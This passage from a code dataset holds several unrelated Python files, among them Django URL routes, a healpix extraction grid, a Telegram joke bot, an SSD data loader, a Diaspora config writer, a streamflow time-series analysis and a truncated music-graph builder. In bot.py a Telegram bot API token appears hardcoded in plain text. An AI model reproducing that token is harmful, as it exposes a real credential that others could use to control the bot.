'Other'),\n]\n\n\n# reused methods\n# this methods checks whether a model exists if it does its returned else it returns None\ndef get_object_or_none(model, *args, **kwargs):\n try:\n return model.objects.get(*args, **kwargs)\n except models.ObjectDoesNotExist:\n return None\n\n\ndef filter_object_or_none(model, *args, **kwargs):\n try:\n return model.objects.filter(*args, **kwargs)\n except models.ObjectDoesNotExist:\n return None\n","sub_path":"shared_files/dishi_user.py","file_name":"dishi_user.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"96426435","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^register/$', views.register , name='register'),\n url(r'^registerpatient/$', views.registerpatient , name='registerpatient'),\n url(r'^patient/$', views.patient , name='patient'),\n url(r'^patientid/$', views.patientid , name='patientid'),\n url(r'^see/(?P[\\-\\w]+)/$', views.see, name='see'),\n url(r'^questionnaire/(?P[\\-\\w]+)/$', views.questionnaire, name='questionnaire'),\n url(r'^questionnaire/read/(?P[\\-\\w]+)/$', views.questionnaireread, name='questionnaireread'),\n url(\n r'^choice/$',\n 'django.contrib.auth.views.login',\n name='choice',\n kwargs={'template_name': 'kine/choice.html'}\n ),\n url(\n r'^info/$',\n 'django.contrib.auth.views.login',\n name='info',\n kwargs={'template_name': 'kine/info.html'}\n ),\n]\n","sub_path":"kine/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"447915108","text":"\"\"\" Module for uniform analyses of LLC outputs\"\"\"\n\nimport numpy as np\n\n\nimport pandas\n\nfrom ulmo.llc import io as llc_io\nfrom ulmo import io as ulmo_io\n\n# Astronomy tools\nimport astropy_healpix\n\nfrom astropy import units\nfrom astropy.coordinates import SkyCoord, match_coordinates_sky\n\n\nfrom IPython import embed\n\n\ndef coords(resol, field_size, CC_max=1e-4, outfile=None, \n max_lat=None, localCC=True, min_lat:float=None,\n rotate:float=None):\n \"\"\"\n Use healpix to setup a uniform extraction grid\n\n Args:\n resol (float): Typical separation on the healpix grid (deg?)\n field_size (tuple): Cutout size in pixels\n max_lat (float,optional): Restrict to latitudes lower than this\n min_lat (float,optional): Restrict to latitudes higher than this\n outfile (str, optional): If provided, write the table to this outfile.\n Defaults to None.\n localCC (bool, optional): If True, load the CC_mask locally.\n rotate (float, optional): Rotate the grid by this angle (deg)\n\n Returns:\n pandas.DataFrame: Table containing the coords\n \"\"\"\n # Load up CC_mask\n CC_mask = llc_io.load_CC_mask(field_size=field_size, local=localCC)\n\n # Cut\n good_CC = CC_mask.CC_mask.values < CC_max\n good_CC_idx = np.where(good_CC)\n\n # Build coords\n llc_lon = CC_mask.lon.values[good_CC].flatten()\n llc_lat = CC_mask.lat.values[good_CC].flatten()\n print(\"Building LLC SkyCoord\")\n llc_coord = SkyCoord(llc_lon*units.deg + 180.*units.deg, \n llc_lat*units.deg, \n frame='galactic')\n\n # Healpix time\n nside = astropy_healpix.pixel_resolution_to_nside(resol*units.deg)\n hp = astropy_healpix.HEALPix(nside=nside)\n hp_lon, hp_lat = hp.healpix_to_lonlat(np.arange(hp.npix))\n if rotate is not None:\n hp_lon = hp_lon + rotate*np.pi/180. * units.rad\n\n # Coords\n hp_coord = SkyCoord(hp_lon, hp_lat, frame='galactic')\n \n # Cross-match\n print(\"Cross-match\")\n idx, sep2d, _ = match_coordinates_sky(hp_coord, llc_coord, nthneighbor=1)\n good_sep = sep2d < hp.pixel_resolution\n\n # Build the table\n llc_table = pandas.DataFrame()\n llc_table['lat'] = llc_lat[idx[good_sep]] # Center of cutout\n llc_table['lon'] = llc_lon[idx[good_sep]] # Center of cutout\n\n llc_table['row'] = good_CC_idx[0][idx[good_sep]] - field_size[0]//2 # Lower left corner\n llc_table['col'] = good_CC_idx[1][idx[good_sep]] - field_size[0]//2 # Lower left corner\n\n # Cut on latitutde?\n if max_lat is not None:\n print(f\"Restricting to |latitude| < {max_lat}\")\n gd_lat = np.abs(llc_table.lat) < max_lat\n llc_table = llc_table[gd_lat].copy()\n \n if min_lat is not None:\n print(f\"Restricting to |latitude| > {min_lat}\")\n gd_lat = np.abs(llc_table.lat) > min_lat\n llc_table = llc_table[gd_lat].copy()\n\n llc_table.reset_index(inplace=True)\n \n # Write\n if outfile is not None:\n ulmo_io.write_main_table(llc_table, outfile)\n\n # Return\n return llc_table\n\n","sub_path":"ulmo/llc/uniform.py","file_name":"uniform.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"143672141","text":"import telepot\nimport time\nimport os, random\nfrom pprint import pprint\n\ndef handle(message):\n content_type, chat_type, chat_id = telepot.glance(message)\n #print content_type, chat_type, chat_id\n if content_type == \"text\":\n msg=message['text']\n if msg== \"/sabino\":\n bot.sendPhoto(chat_id,\"https://github.com/ciacci/chat-bot/blob/master/img/sabino.jpg?raw=true\")\n elif msg== \"/chat\":\n img_path=\"/home/francesco/bot/chat-bot/Telegram/img/chat/\"\n img_name=random.choice(os.listdir(img_path))\n img=open(img_path+img_name,\"rb\")\n bot.sendPhoto(chat_id,img)\n bot.sendMessage(chat_id,\"Awend ne\")\n elif msg ==\"/spaghitt\":\n bot.sendPhoto(chat_id,open(\"/home/francesco/bot/chat-bot/Telegram/img/spaghitt.jpg\",\"rb\"))\n bot.sendAudio(chat_id,open(\"/home/francesco/bot/chat-bot/Telegram/audio/spaghitt.ogg\",\"rb\"))\n bot.sendMessage(chat_id,\"300 gremm d spaghitt, ma vou seit pezz!\")\n else:\n if any(x in msg for x in [\"nicola\",\"Nicola\",\"ncol\",\"Ncol\",\"nco\",\"Nco\",\"Violo\",\"violo\",\"Violante\",\"violante\"]):\n bot.sendMessage(chat_id,\"Ncoooooo\");\n elif any(x in msg for x in [\"Cassa\",\"cassa\"]):\n bot.sendMessage(chat_id,\"CASSAAAAAAAA\");\n #bot.sendMessage(chat_id,message['text'])\n \nbot=telepot.Bot(\"405730557:AAHauZjh1qYStRZGRYMz6EuZFtnU30TeABM\")\nbot.message_loop(handle, run_forever=True)\n#print \"In attesa di nuovi messaggi...\"\n\n\n#while 1:\n# time.sleep(10)\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"8724185","text":"# Copyright 2021 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport torch\nimport os\n\nfrom functools import partial\nimport numpy as np####\nfrom torch.utils.data import DataLoader\nfrom mlperf_logger import log_event\nfrom mlperf_logging.mllog import constants\n\nfrom utils import COCODetection, SSDCropping, SSDTransformer\nfrom .sampler import GeneralDistributedSampler\n\nfrom pycocotools.coco import COCO\n\ndef SSDCollator(batch, is_training=False):\n # batch is: [image (300x300) Tensor, image_id, (htot, wtot), bboxes (8732, 4) Tensor, labels (8732) Tensor]\n images = []\n image_ids = []\n image_sizes = []\n bboxes = []\n bbox_offsets = [0]\n labels = []\n\n for item in batch:\n images.append(item[0].view(1, *item[0].shape))\n image_ids.append(item[1])\n image_sizes.append(item[2])\n bboxes.append(item[3])\n labels.append(item[4])\n #bboxes.append(item[1])\n #labels.append(item[2])\n bbox_offsets.append(bbox_offsets[-1] + item[3].shape[0])\n\n images = torch.cat(images)\n bbox_offsets = np.array(bbox_offsets).astype(np.int32)\n #return [images, torch.cat(bboxes), torch.cat(labels)]\n if is_training:\n return [images, torch.cat(bboxes), torch.cat(labels), torch.tensor(bbox_offsets)]\n else:\n return [images, torch.tensor(image_ids), image_sizes, torch.cat(bboxes), torch.cat(labels), torch.tensor(bbox_offsets)]\n\ndef generate_mean_std(args):\n mean_val = [0.485, 0.456, 0.406]\n std_val = [0.229, 0.224, 0.225]\n\n if args.pad_input:\n mean_val.append(0.)\n std_val.append(1.)\n mean = torch.tensor(mean_val).npu()\n std = torch.tensor(std_val).npu()\n\n if args.nhwc:\n view = [1, 1, 1, len(mean_val)]\n else:\n view = [1, len(mean_val), 1, 1]\n\n mean = mean.view(*view)\n std = std.view(*view)\n\n if args.use_fp16:\n mean = mean.half()\n std = std.half()\n\n return mean, std\n\ndef build_train_pipe(args):\n train_annotate = os.path.join(args.data, \"annotations/bbox_only_instances_train2017.json\")\n train_coco_root = os.path.join(args.data, \"train2017\")\n\n input_size = args.input_size\n train_trans = SSDTransformer((input_size, input_size), val=False)\n train_coco = COCODetection(train_coco_root, train_annotate, train_trans)\n if args.distributed:\n train_sampler = GeneralDistributedSampler(train_coco, pad=False)\n else:\n train_sampler = None\n train_loader = DataLoader(train_coco,\n batch_size=args.batch_size*args.input_batch_multiplier,\n shuffle=(train_sampler is None),\n sampler=train_sampler,\n num_workers=args.num_workers,\n collate_fn=partial(SSDCollator, is_training=True))\n\n return train_loader, len(train_loader)\n\ndef build_eval_pipe(args):\n # Paths\n val_annotate = os.path.join(args.data, \"annotations/bbox_only_instances_val2017.json\")\n val_coco_root = os.path.join(args.data, \"val2017\")\n\n input_size = args.input_size\n val_trans = SSDTransformer((input_size, input_size), val=True)\n #cocoGt = COCO(annotation_file=val_annotate, use_ext=True)\n cocoGt = COCO(annotation_file=val_annotate)\n val_coco = COCODetection(val_coco_root, val_annotate, val_trans, cocoGt.dataset)\n log_event(key=constants.EVAL_SAMPLES, value=len(val_coco))\n\n if args.distributed:\n val_sampler = GeneralDistributedSampler(val_coco, pad=False)\n else:\n val_sampler = None\n\n val_dataloader = DataLoader(val_coco,\n batch_size=args.eval_batch_size,\n shuffle=False, # Note: distributed sampler is shuffled :(\n sampler=val_sampler,\n #num_workers=args.num_workers\n num_workers=0)\n\n inv_map = {v:k for k,v in val_coco.label_map.items()}\n\n return val_dataloader, inv_map, cocoGt\n\ndef build_native_pipeline(args, training=True, pipe=None):\n if training:\n return build_train_pipe(args)\n else:\n return build_eval_pipe(args)\n","sub_path":"PyTorch/contrib/cv/detection/SSD-Resnet/data/native_pipeline.py","file_name":"native_pipeline.py","file_ext":"py","file_size_in_byte":4704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"204681464","text":"#!/usr/bin/env python\r\n#-*- coding:utf-8 -*-\r\n\r\nimport logging\r\nimport os\r\nbase_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\r\n\r\ndef loger(which,user,money,goods):\r\n logging.basicConfig(filename='%s\\logs\\%s_access.log'% (base_dir, which),\r\n format='%(asctime)s - %(name)s - %(levelname)s -%(module)s: %(message)s',\r\n datefmt='%Y-%m-%d %H:%M:%S %p',\r\n level=10)\r\n if goods == 0:\r\n logging.debug(\"user:%s enchashment:%s\" % (user,money))\r\n else:\r\n logging.debug(\"user:%s goods:%s balance:%s\" % (user, str(goods), money))\r\n","sub_path":"python_program/day06/ATM/core/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"261887536","text":"#!/usr/bin/python\n\nimport os\nimport yaml\n\ndef yaml_update(f, configTemplateFileName, configFileName):\n\tv = yaml.load(open(configTemplateFileName))\n\tf(v)\n\twith open(configFileName, \"w\") as outputFile:\n\t\toutputFile.write(yaml.dump(v))\n\ndef update_db(db):\n\tdb[\"mysql\"].update({\n\t\t\"host\": os.environ[\"MYSQL_PORT_3306_TCP_ADDR\"],\n\t\t\"port\": int(os.environ[\"MYSQL_PORT_3306_TCP_PORT\"]),\n\t\t\"username\": os.environ[\"DIASPORA_DB_USERNAME\"],\n\t\t\"password\": os.environ[\"DIASPORA_DB_PASSWORD\"],\n\t\t\"pool\": int(os.getenv(\"DIASPORA_WORKERS\") or \"5\"),\n\t})\n\tdb[\"common\"].update(db[\"mysql\"])\n\tdb[\"combined\"].update(db[\"common\"])\n\tdb[\"production\"].update(db[\"combined\"])\n\ndef update_config(c):\n\tc[\"configuration\"][\"environment\"].update({\n\t\t\"url\": os.environ[\"DIASPORA_URL\"],\n\t\t\"certificate_authorities\": \"/etc/ssl/certs/ca-certificates.crt\",\n\t\t\"redis\": \"redis://%s:%s\" % (\n\t\t\tos.environ[\"REDIS_PORT_6379_TCP_ADDR\"],\n\t\t\tos.environ[\"REDIS_PORT_6379_TCP_PORT\"]\n\t\t),\n\t\t\"require_ssl\": True,\n\t\t\"sidekiq\": {\n\t\t\t\"concurrency\": int(os.getenv(\"DIASPORA_WORKERS\") or \"5\"),\n\t\t},\n\t\t\"assets\": {\n\t\t\t\"serve\": True, # debug\n\t\t},\n\t})\n\tc[\"configuration\"].update({\n\t\t\"server\": {\n\t\t\t\"port\": 3000,\n\t\t\t\"rails_environment\": \"production\",\n\t\t},\n\t\t\"settings\": {\n\t\t\t\"pod_name\": os.getenv(\"DIASPORA_POD_NAME\") or \"Diaspora*\",\n\t\t\t\"enable_registrations\": os.getenv(\"DIASPORA_REGISTRATIONS\") == \"1\",\n\t\t},\n\t\t\"services\": {\n\t\t\t\"twitter\": {\n\t\t\t\t\"enable\": bool(os.getenv(\"DIASPORA_TWITTER_KEY\") and os.getenv(\"DIASPORA_TWITTER_SECRET\")),\n\t\t\t\t\"key\": os.getenv(\"DIASPORA_TWITTER_KEY\"),\n\t\t\t\t\"secret\": os.getenv(\"DIASPORA_TWITTER_SECRET\"),\n\t\t\t},\n\t\t},\n\t})\n\nif __name__ == '__main__':\n\tyaml_update(update_db, \"config/database.yml.example\", \"config/database.yml\")\n\tyaml_update(update_config, \"config/diaspora.yml.example\", \"config/diaspora.yml\")\n","sub_path":"deploy/update_config.py","file_name":"update_config.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"533413658","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 14 14:08:42 2020\nProgram description: This script uses oanda to conduct timeseries analysis of \nWabash river streamflow at Lafayette gauge. The data is from Mar. 17 2015 to Mar. 24, 2016.\nIt is 15 minute discharge (cfs) data. Three plots are generated at the end,\n1. Daily average value of streamflow for the entire 13 months\n2. Ten peak daily average value of streamflow for the period.\n3. Monthly average value of the streamflow for the entire period.\n@author: tiwari13\n\"\"\"\n\n#import os\n# os.chdir('/home/tiwari13/ABE65100/08-time-series-analysis-with-pandas-roccabye/SourceCode')\n#Module import\n\nimport pandas as pd\nimport numpy as np\nfrom pandas import Series, DataFrame, Panel\nimport matplotlib.pyplot as plt\nplt.close('all')\npd.set_option('display.max_rows',15) # this limit maximum numbers of rows\n\npd.__version__\n\n##############################################\n# Loading data\n\nstreamflow = '/home/tiwari13/ABE65100/08-time-series-analysis-with-pandas-roccabye/Input/WabashRiver_DailyDischarge_20150317-20160324.txt'\n\n# Read data in Pandas dataframe\n# Skipping 25 columns of th etext file and using only column 2 for datetime column 4 for discharge in cfs\nstrflw = pd.read_table(streamflow,parse_dates=True, header=24,skiprows=[25], delimiter= '\\t',\n usecols=[2,4], index_col= ['datetime'], names = ['datetime','Discharge(cfs)'])\n\n# check the data\nstrflw[0:2]\nstrflw.shape\n\n##############################################\n'''\nCreate a plot of daily average streamflow for the period of record, written to a PDF or PS file.\n'''\n# Computing daily mean/average using 'resample' command.\n\nQ_avg_daily = strflw.resample('D').mean()\nQ_avg_daily[0:2]\nQ_avg_daily.shape\n\n# Plot daily mean of discharge values.\n\nQ_avg_daily.plot(color = 'coral')\n\n# Set title and labels for axes\n\nplt.xlabel('DateTime', fontsize=10) # Label x-axis\nplt.ylabel('Discharge (cfs)', fontsize=10) # Label y-axis\nplt.title('Daily Average Streamflow for Wabash River at Lafayette \\nfrom Mar. 17 2015 to Mar. 24, 2016', fontsize=10) # Title\nplt.savefig(\"/home/tiwari13/ABE65100/08-time-series-analysis-with-pandas-roccabye/Output/DailyAverage_Q.pdf\")\n\n##############################################\n'''\nUsing the daily average flow data, identify and plot the 10 days with highest flow, \nwritten to a PDF or PS file. Use symbols to represent the data on the same time axis \nused for the full daily flow record.'''\n\n# Sorting 10 highest streamflow values from daily average flow data (Q_avg)\nQ_avg_daily_highestFlow = Q_avg_daily.nlargest(10,['Discharge(cfs)'])\nx = pd.to_datetime(Q_avg_daily_highestFlow .index)\n\n# check the data\nQ_avg_daily_highestFlow[0:2]\nQ_avg_daily_highestFlow.shape\n\n# Plot ten highest daily mean values on the daily mean streamflow plot.\n\nplt.figure()\nQ_avg_daily.plot(color = 'chartreuse')\nplt.scatter(x,Q_avg_daily_highestFlow['Discharge(cfs)'], color = 'violet')\nleg=plt.legend()\nleg.get_texts()[1].set_text('10 Peak Discharge')\n\n# Set title and labels for axes\n\nplt.xlabel('DateTime', fontsize=10) # Label x-axis\nplt.ylabel('Discharge (cfs)', fontsize=10) # Label y-axis\nplt.title('Daily Average Streamflow for Wabash River with top 10 peak values \\nfrom Mar. 17 2015 to Mar. 24, 2016', fontsize=10) # Title\nplt.savefig(\"/home/tiwari13/ABE65100/08-time-series-analysis-with-pandas-roccabye/Output/10Peak_DailyAverage_Q.pdf\")\n\n##############################################\n'''\nCreate a plot of monthly average streamflow for the period of record, \nwritten to a PDF or PS file.\n'''\n# Computing monthly mean/average using 'resample' command.\n\nQ_avg_monthly = strflw.resample('M').mean()\nQ_avg_monthly[0:2]\nQ_avg_monthly.shape\n# Plot daily mean of discharge values.\n\nQ_avg_monthly.plot(color = 'orangered')\n\n# Set title and labels for axes\n\nplt.xlabel('DateTime', fontsize=10) # Label x-axis\nplt.ylabel('Discharge (cfs)', fontsize=10) # Label y-axis\nplt.title('Monthly Average Streamflow for Wabash River at Lafayette \\nfrom Mar. 17 2015 to Mar. 24, 2016', fontsize=10) # Title\nplt.savefig(\"/home/tiwari13/ABE65100/08-time-series-analysis-with-pandas-roccabye/Output/MonthlyAverage_Q.pdf\")\n\n##############################################\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"SourceCode/TimeSeriesAnalysis.py","file_name":"TimeSeriesAnalysis.py","file_ext":"py","file_size_in_byte":4408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"136272807","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nProportion of files incorrect.\n\nAuthor: Gertjan van den Burg\nCopyright (c) 2018 - The Alan Turing Institute\nLicense: See the LICENSE file.\n\n\"\"\"\n\nimport argparse\nimport json\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-d\", dest=\"detector\", help=\"Detector name\", required=True\n )\n parser.add_argument(\n \"-s\",\n dest=\"summary\",\n help=\"Summary file with the results\",\n required=True,\n )\n\n parser.add_argument(\n \"-o\", dest=\"output\", help=\"Output tex file to write to\", required=True\n )\n return parser.parse_args()\n\n\ndef main():\n args = parse_args()\n with open(args.summary, \"r\") as fid:\n data = json.load(fid)\n\n fails = data[\"failures\"]\n if not args.detector in fails:\n raise KeyError(\n \"Detector name %s doesn't exist in failure dict\" % args.detector\n )\n perc = fails[args.detector] * 100.0\n\n with open(args.output, \"w\") as fid:\n fid.write(\"%.2f\\\\%%%%\" % perc)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/analysis/constant_n_incorrect_prop.py","file_name":"constant_n_incorrect_prop.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"259702466","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jan 3 09:36:28 2019\r\n\r\n@author: premp\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom numpy.linalg import inv\r\nfrom numpy.linalg import det\r\nimport math\r\n\r\nx = np.array([[1,2,7],[9,6,1],[5,3,1]])\r\n#y = np.array([[1],[2],[5]])\r\ntest = x = np.array([[1,2,7],[9,6,1],[5,3,1], [1,2,3]])\r\n\r\n\r\n#np.dot(x, y)\r\n#np.dot(x.T, y)\r\n\r\nmu = np.mean(x, axis = 0)\r\nprint(mu)\r\nsigma = np.cov(x)\r\npi = math.pi\r\n#np.corrcoef(x)\r\n\r\nx1 = np.array([1, 5,3])\r\n#inv(sigma)\r\n\r\n#np.exp(2*5*0)\r\n\r\n#data = np.array(['a','b','c','d'])\r\n#x = [100,101,102,103]\r\n#s = pd.Series(data,index=x)\r\n#print(s)\r\n\r\np = float(np.shape(x)[0]) #size of data matrix\r\nm_d = np.dot(np.dot(x1-mu, inv(sigma)), x1-mu) #mahalanobis distance\r\nprint(m_d)\r\nmod_sigma = det(sigma)\r\nprint(mod_sigma)\r\npi = math.pi\r\n\r\n\r\n#p_x = 1/((2*pi)^(p/2)*det(sigma)^0.5)*(np.exp(-1/2(np.dot(np.dot(x-mu, inv(sigma)), x-mu))))\r\np_x = 1/((2*pi)**(p/2)*mod_sigma**0.5)*(np.exp(-0.5*m_d))\r\n\r\nprint(p_x)","sub_path":"multivaraite_normal_prob.py","file_name":"multivaraite_normal_prob.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"461044913","text":"from flask import Flask ,request\nfrom addtest import add\nfrom flask_cors import CORS\nimport logging\n\nlogging.basicConfig(level=logging.INFO)\napp=Flask(__name__)\nCORS(app)\n\n@app.route(\"/\", methods=[\"GET\",\"POST\"])\ndef fn():\n if(request.method==\"POST\"):\n a=int(request.json[\"a\"])\n b=int(request.json[\"b\"])\n logging.info(f\"{a} , {b}\")\n return str(add(a,b))\n \n\n\nif(__name__ ==\"__main__\"):\n app.run(host=\"0.0.0.0\" , port=5000)","sub_path":"AddTest/python/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"191029597","text":"from extract_link_det import ExtractLinkDet\n\nclass MessageFormat:\n\tdef __init__(self, arr):\n\t\tself.links_arr = arr\n\n\tdef format_message(self):\n\t\tmsg_ret = {}\n\t\tinfo = str(len(self.links_arr)) + \" new apartments found.\"\n\t\tlinks = \"\\n\".join(self.links_arr)\n\t\tmsg = \"\\n\".join([info, links])\n\t\tmsg_ret['title'] = info\n\t\tmsg_ret['text'] = msg\n\t\treturn msg_ret\n\n\t#buggy and not dunctional, might be fixed later\n\tdef format_message_with_det(self):\n\t\tmsg_ret = {}\n\t\tinfo = str(len(self.links_arr)) + \" new apartments found.\"\n\n\t\ttext_to_ret = ''\n\n\t\ttemp = ''\n\n\t\tfor link in self.links_arr:\n\n\t\t\textl = ExtractLinkDet(link)\n\t\t\tcontent = extl.get_all_content()\n\t\t\timportant_info = extl.get_info()\n\t\t\ttitle = content['title']\n\t\t\tsecond_title = content['second_title']\n\t\t\tprice = content['price']\n\t\t\tdescription = content['description']\n\n\t\t\tif link != None:\n\t\t\t\ttemp += link + \"-\"\n\t\t\tif title != None:\n\t\t\t\ttemp += title + \" \"\n\t\t\tif description != None:\n\t\t\t\ttemp += description + \" \"\n\t\t\tif price != None:\n\t\t\t\ttemp += price + \" \"\n\t\t\t'''if important_info[0] != None:\n\t\t\t\ttemp += important_info[0] + \"\\n\"\n\t\t\tif important_info[1] != None:\n\t\t\t\ttemp += important_info[1] + \"\\n\"\n\t\t\tif important_info[6] != None:\n\t\t\t\ttemp += important_info[6] + \"\\n\"'''\n\n\t\t\tfor im in important_info:\n\t\t\t\ttemp += im + \" \"\n\n\n\t\t\ttext_to_ret += temp + '\\n\\n'\n\t\t\ttemp = ''\n\n\t\ttext_to_ret = MessageFormat.html_escape(text_to_ret)\n\t\treturn text_to_ret.encode(encoding='UTF-8',errors='strict')\n\n\tdef html_escape(text):\n\t\thtml_escape_table = {\n\t\t\t\"&\": \"&\",\n\t\t\t'\"': \""\",\n\t\t\t\"'\": \"'\",\n\t\t\t\">\": \">\",\n\t\t\t\"<\": \"<\",\n\t\t\t}\n\t\treturn \"\".join(html_escape_table.get(c,c) for c in text)\n\n\n","sub_path":"message_format.py","file_name":"message_format.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"398551342","text":"from twisted.internet import reactor, protocol\n\nfrom twisted.python import log\n\n\nclass Logger(protocol.Protocol):\n log.startLogging(open('A:/Pychat/logs/foo.log', 'w'))\n\n def dataReceived(self, data):\n print(data)\n\n\ndef main():\n \"\"\"This runs the protocol on port 8000\"\"\"\n factory = protocol.ServerFactory()\n factory.protocol = Logger\n reactor.listenTCP(9500, factory)\n reactor.run()\n\n# this only runs if the module was *not* imported\nif __name__ == '__main__':\n main()\n","sub_path":"logserver.py","file_name":"logserver.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"114748647","text":"from tqdm import tqdm\nfrom .melon_graph import MelonGraph\nfrom ..graph import Edge\nfrom ..graph import Graph\nfrom ..graph import Node\nfrom ..utils import get_words\nfrom ..utils import TqdmDummy\n\n\nclass MelonGraphBuilder:\n def build(self, songs, genres, playlists, verbose=True):\n raw_nodes, raw_edges = self._parse_all(songs, genres, playlists, verbose)\n return self._create_graph(raw_nodes, raw_edges, verbose)\n\n def _parse_all(self, songs, genres, playlists, verbose=True):\n if verbose:\n total = len(genres) + len(songs) + len(playlists)\n pbar = tqdm(desc=\"Parsing data\", total=total)\n else:\n pbar = TqdmDummy()\n\n with pbar:\n raw_nodes = []\n raw_edges = []\n\n parsed_raw_nodes, parsed_raw_edges = self._parse_genres(genres, pbar)\n raw_nodes += parsed_raw_nodes\n raw_edges += parsed_raw_edges\n\n parsed_raw_nodes, parsed_raw_edges = self._parse_songs(songs, pbar)\n raw_nodes += parsed_raw_nodes\n raw_edges += parsed_raw_edges\n\n parsed_raw_nodes, parsed_raw_edges = self._parse_playlists(playlists, pbar)\n raw_nodes += parsed_raw_nodes\n raw_edges += parsed_raw_edges\n\n return raw_nodes, raw_edges\n\n def _parse_genres(self, genres, pbar):\n raw_nodes = []\n raw_edges = []\n\n for key, value in genres.items():\n raw_nodes.append((MelonGraph.NodeType.GENRE, key, {\n 'name': value\n }))\n\n pbar.update()\n\n return raw_nodes, raw_edges\n\n def _parse_songs(self, songs, pbar):\n raw_nodes = []\n raw_edges = []\n\n for song in songs:\n song_key = (MelonGraph.NodeType.SONG, song['id'])\n raw_nodes.append((MelonGraph.NodeType.SONG, song['id'], {\n 'name': song['song_name'],\n 'issue_date': song['issue_date'],\n }))\n\n artist_keys = []\n artists = zip(song['artist_id_basket'], song['artist_name_basket'])\n for artist_id, artist_name in artists:\n artist_key = (MelonGraph.NodeType.ARTIST, artist_id)\n artist_keys.append(artist_key)\n raw_nodes.append((MelonGraph.NodeType.ARTIST, artist_id, {\n 'name': artist_name,\n }))\n raw_edges.append((\n song_key,\n artist_key,\n MelonGraph.Relation.SONG_TO_ARTIST,\n ))\n raw_edges.append((\n artist_key,\n song_key,\n MelonGraph.Relation.ARTIST_TO_SONG,\n ))\n\n for word in get_words(artist_name):\n word_key = (MelonGraph.NodeType.WORD, word)\n raw_nodes.append((MelonGraph.NodeType.WORD, word, {}))\n raw_edges.append((\n artist_key,\n word_key,\n MelonGraph.Relation.ARTIST_TO_WORD,\n ))\n raw_edges.append((\n word_key,\n artist_key,\n MelonGraph.Relation.WORD_TO_ARTIST,\n ))\n\n album_key = (MelonGraph.NodeType.ALBUM, song['album_id'])\n raw_nodes.append((MelonGraph.NodeType.ALBUM, song['album_id'], {\n 'name': song['album_name'],\n }))\n raw_edges.append((\n song_key,\n album_key,\n MelonGraph.Relation.SONG_TO_ARTIST,\n ))\n raw_edges.append((\n album_key,\n song_key,\n MelonGraph.Relation.ALBUM_TO_SONG,\n ))\n\n if song['album_name'] is not None:\n for word in get_words(song['album_name']):\n word_key = (MelonGraph.NodeType.WORD, word)\n raw_nodes.append((MelonGraph.NodeType.WORD, word, {}))\n raw_edges.append((\n album_key,\n word_key,\n MelonGraph.Relation.ALBUM_TO_WORD,\n ))\n raw_edges.append((\n word_key,\n album_key,\n MelonGraph.Relation.WORD_TO_ALBUM,\n ))\n\n for genre_id in song['song_gn_gnr_basket']:\n genre_key = (MelonGraph.NodeType.GENRE, genre_id)\n raw_edges.append((\n song_key,\n genre_key,\n MelonGraph.Relation.SONG_TO_GENRE,\n ))\n raw_edges.append((\n genre_key,\n song_key,\n MelonGraph.Relation.GENRE_TO_SONG,\n ))\n\n for artist_key in artist_keys:\n artist_genre_key = (\n MelonGraph.NodeType.ARTIST_GENRE, (artist_key[1], genre_key[1]))\n raw_nodes.append((artist_genre_key[0], artist_genre_key[1], {}))\n raw_edges.append((\n song_key,\n artist_genre_key,\n MelonGraph.Relation.ARTIST_GENRE_TO_SONG,\n ))\n raw_edges.append((\n artist_genre_key,\n song_key,\n MelonGraph.Relation.SONG_TO_ARTIST_GENRE,\n ))\n\n for genre_id in song['song_gn_dtl_gnr_basket']:\n genre_key = (MelonGraph.NodeType.GENRE, genre_id)\n raw_edges.append((\n song_key,\n genre_key,\n MelonGraph.Relation.SONG_TO_DETAILED_GENRE,\n ))\n raw_edges.append((\n 